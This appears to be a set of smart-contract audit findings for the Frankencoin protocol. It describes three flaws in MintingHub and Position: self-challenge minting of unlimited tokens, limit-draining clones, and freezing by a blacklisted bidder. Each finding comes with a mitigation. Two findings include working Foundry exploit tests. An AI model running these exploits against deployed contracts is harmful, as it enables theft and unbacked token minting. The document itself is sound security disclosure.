Frankencoin - Emmanuel's results

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L265-L272

Vulnerability details

Impact

An attacker can mint as much tokens as he wants(in the form of challenge rewards) by challenging a position that he just created. He can perform this attack in a single transaction.

Proof of Concept

Challenging a position can be profitable when the highest bid the challenge gets is lower than a position's liquidation price. In the case that the contract does not have enough frankencoin tokens to reward a challenger, new tokens are minted L265-L272

Here is the function used to start a challenge L140-L148:

function launchChallenge(
        address _positionAddr,
        uint256 _collateralAmount
    ) external validPos(_positionAddr) returns (uint256) {
        ...
}

The validPos modifier L115-L117 only ensures that _positionAddr was created by the MintingHub contract, but there is no check whether the position is active or not. This means that anyone can open a position through MintingHub's openPosition function, and challenge it in the same transaction.

Here is a foundry test for this attack. Create a new foundry test file in test folder, and copy this into it:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../contracts/test/Strings.sol";
import "../contracts/test/TestToken.sol";
import "../contracts/IERC20.sol";
import "../contracts/Equity.sol";
import "../contracts/IReserve.sol";
import "../contracts/IFrankencoin.sol";
import "../contracts/Ownable.sol";
import "../contracts/Position.sol";
import "../contracts/IPosition.sol";
import "../contracts/MintingHub.sol";
import "../contracts/PositionFactory.sol";
import "../contracts/StablecoinBridge.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";

contract WhitehatTest is Test {
    MintingHub hub;
    StablecoinBridge swap;

    IERC20 xchf;
    TestToken col;
    IFrankencoin zchf;

    address public alice = address(1);
    address public bob = address(2);
    address public charles = address(3);
    address public owner = address(7);

    function setUp() public {
        zchf = new Frankencoin(864000);
        xchf = new TestToken("CryptoFranc", "XCHF", uint8(18));
        swap = new StablecoinBridge(
            address(xchf),
            address(zchf),
            1_000_000 ether
        );
        zchf.suggestMinter(address(swap), 0, 0, "");
        hub = new MintingHub(address(zchf), address(new PositionFactory()));
        zchf.suggestMinter(address(hub), 0, 0, "");
        col = new TestToken("Some Collateral", "COL", uint8(0));
    }

    function testAttack() public {
        deal(address(zchf), alice, 1000 ether); //give alice 1000 zchf to cover position opening fees
        deal(address(col), alice, 5 ether); //give alice 5e18 collateral to open position and launch challenge(could be lower)

        vm.startPrank(alice);
        zchf.approve(address(hub), 1000 ether); //This is to pay for opening fee.
        col.approve(address(hub), 5 ether);//approve hub to spend positionInitialCollateral+challengeCollateral
        // Alice opens position with reckless values
        address alicePosition = hub.openPosition(
            address(col), //collateral address
            1 ether, //minimum collateral
            3 ether, //initial collateral
            100, //minting maximum(does not matter for the attack)
            1000, //expiration seconds(does not matter for attack)
            0, //challenge seconds(make it 0 to perform attack in a transaction)
            1, //minting fee in PPM(does not matter for attack)
            1200000000000, //liquidation price(higher value, higher cash out)
            1 //reserve fee in PPM(does not matter for attack)
        );
        uint256 aliceChallenge = hub.launchChallenge(alicePosition, 2 ether); //alice starts a challenge on her position with 2e18 collateral tokens(could be lower)

        uint256 aliceBalBeforeAttack = zchf.balanceOf(alice);
        hub.end(aliceChallenge); //as alice ends the challenge, her zchf tokens increases drastically
        uint256 aliceBalAfterAttack = zchf.balanceOf(alice);
        vm.stopPrank();
        console.log(
            "Alice Balance before attack: ",
            aliceBalBeforeAttack,
            "\n"
        );
        console.log("Alice Balance after attack: ", aliceBalAfterAttack, "\n");
        vm.stopPrank();
    }
}

use forge test -vv --match-contract WhitehatTest to test it.

Test Explanation

1. We grant Alice 1000zchf to cover fees; and 5e18 col tokens for position's initialCollateral, and for Alice to challenge her position. Note that on mainnet, col could be a random valueless token because she does not care if the position is eventually denied or challenged, so Alice essentially needs 1000zchf as capital + gas fees for the attack.
2. Alice approves MintingHub to spend the tokens.
3. Alice opens the position with absurd values. The higher the liquidation price she sets, the more zchf she will mint, she set challengeSeconds to 0 so that she can perform the attack in a transaction, and she uses a collateral that has no value in real world.
4. She then challenges the position, transferring some amount of the valueless collateral to MintingHub
5. Then she is able to end() the challenge immediately because collateral duration for that position is 0.

• The reward that Alice would receive is a percentage of the volume(L265).
• volume is fetched from the Position's notifyChallengeSucceeded function(L260) which is calculated as liquidation price * challenge collateral size(L347). This is why Alice set the liquidation price for the position to a high value.
• In the case that MintingHub does not have enough zchf to reward Alice, new zchf tokens are minted(L267-L271)

6. The amount of zchf she had before, and after the end() function call was console logged, and we got 'before: 0, after: 48000000000'.

Tools Used

Manual Review

Recommended Mitigation Steps

Just like mint function in Position contract, notifyChallengeStarted should also use noChallenge, noCooldown, and alive modifiers

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L126 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L97-L101

Vulnerability details

Impact

A position owner who spends 1000zchf fees in opening a new position, with the intention of minting a reasonable amount of zchf tokens, will be disappointed and forced to withdraw his collateral when someone else maliciously clones his position.

Proof of Concept

When opening a position, owner sets a limit(_initialLimit) for that position. This check is used when calling the mintInternal function:

if (minted + amount > limit) revert LimitExceeded();

This means that a position owner can only mint up to the limit he set for his position. But when someone else clones that position, he sets an _initialMint, which would be deducted from the limit of the existing position through the reduceLimitForClone function:

function reduceLimitForClone(
        uint256 _minimum
    ) external noChallenge noCooldown alive onlyHub returns (uint256) {
        uint256 reduction = (limit - minted - _minimum) / 2; 
        limit -= reduction + _minimum;
        return reduction + _minimum;
    }

This is done to ensure that the sum of limits for a position, and all its clones is less or equal to the _initialLimit set by the 'original position' owner. But, malicious user can clone a position, and set the _initialMint to a high enough value(highest value=limit-minted) to drastically reduce the 'original position' owner's limit so that he won't be able to mint many zchf tokens for himself, forcing him to withdraw his collateral. He will be disappointed because he has wasted 1000zchf tokens as position opening fee.

Checkout this test:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../contracts/test/Strings.sol";
import "../contracts/test/TestToken.sol";
import "../contracts/IERC20.sol";
import "../contracts/Equity.sol";
import "../contracts/IReserve.sol";
import "../contracts/IFrankencoin.sol";
import "../contracts/Ownable.sol";
import "../contracts/Position.sol";
import "../contracts/IPosition.sol";
import "../contracts/MintingHub.sol";
import "../contracts/PositionFactory.sol";
import "../contracts/StablecoinBridge.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";

contract WhitehatTest is Test {
    MintingHub hub;
    StablecoinBridge swap;

    IERC20 xchf;
    TestToken col;
    IFrankencoin zchf;

    address public alice = address(1);
    address public bob = address(2);
    address public charles = address(3);
    address public owner = address(7);

    function setUp() public {
        zchf = new Frankencoin(864000);
        xchf = new TestToken("CryptoFranc", "XCHF", uint8(18));
        swap = new StablecoinBridge(
            address(xchf),
            address(zchf),
            1_000_000 ether
        );
        zchf.suggestMinter(address(swap), 0, 0, "");
        hub = new MintingHub(address(zchf), address(new PositionFactory()));
        zchf.suggestMinter(address(hub), 0, 0, "");
        col = new TestToken("Some Collateral", "COL", uint8(0));
    }

    function testDenyOriginalOwner() public {
        deal(address(zchf), alice, 1000 ether);
        deal(address(col), alice, 500 ether);

        vm.startPrank(alice);
        zchf.approve(address(hub), 1000 ether);
        col.approve(address(hub), 500 ether);

        address alicePosition = hub.openPosition(
            address(col), //collateral address
            1 ether, //minimum collateral
            500 ether, //initial collateral
            4000, //minting maximum
            5 days, //expiration seconds
            0, //challenge seconds
            1, //minting fee in PPM
            5, //liquidation price
            1 //reserve fee in PPM
        );
        vm.stopPrank();

        vm.warp(7 days + 100);
        deal(address(col), bob, 1000 ether);

        vm.startPrank(bob);
        col.approve(address(hub), 1000 ether);
        address bobPosition = hub.clonePosition(
            alicePosition,
            1000 ether,
            4000
        );
        vm.stopPrank();

        vm.prank(alice);
        vm.expectRevert(
            abi.encodeWithSelector(bytes4(keccak256("LimitExceeded()")))
        );
        IPosition(alicePosition).mint(alice, 2000);
    }
}

Test Explanation

1. Alice opens a position, paying 1000zchf fee, and setting initialLimit to 4000zchf, hoping to mint some tokens later.
2. Bob clones alice position, setting initialMint to 4000. He spitefully calculated the initialMint as initialLimit set by alice(4000) - amount of zchf minted by alice(0)
3. Alice tries to mint 2000 zchf, but gets a 'LimitExceeded' error, and is disappointed because she wasted 1000zchf opening the position, but could not use the position to mint any tokens.

Tools Used

Manual Review

Recommended Mitigation Steps

Allow an 'original position' owner to set a minimum limit that is reserved for that position. This would give clones a limit to the initialMint that they can set.

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L352 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L268-L276

Vulnerability details

Impact

Main functionalities in a Position like minting, adjustment of price, and withdrawing of collateral will be frozen once a blacklisted address for a particular collateral bids in a challenge, and the challenge succeeds

Proof of Concept

When end() is called and a challenge succeeds, the bidder should get the collateral from the Position contract through the internalWithdrawCollateral call in the notifyChallengeSucceeded function. When ERC20 tokens like USDT (that implements blacklisting) is the collateral, and the bidder to receive the collateral is blacklisted, the internalWithdrawCollateral call will fail, causing the end() function call to always revert. This would mean that the challengedAmount for that Position will always be greater than 0, and functions that use the noChallenge modifier: mint(),adjustPrice(), and withdrawCollateral() will be frozen forever.

Tools Used

Manual Review

Recommended Mitigation Steps

Instead of sending the collateral directly to the bidder, there should be a mapping that stores amount bidders would receive, and the bidders should manually withdraw the collateral themselves.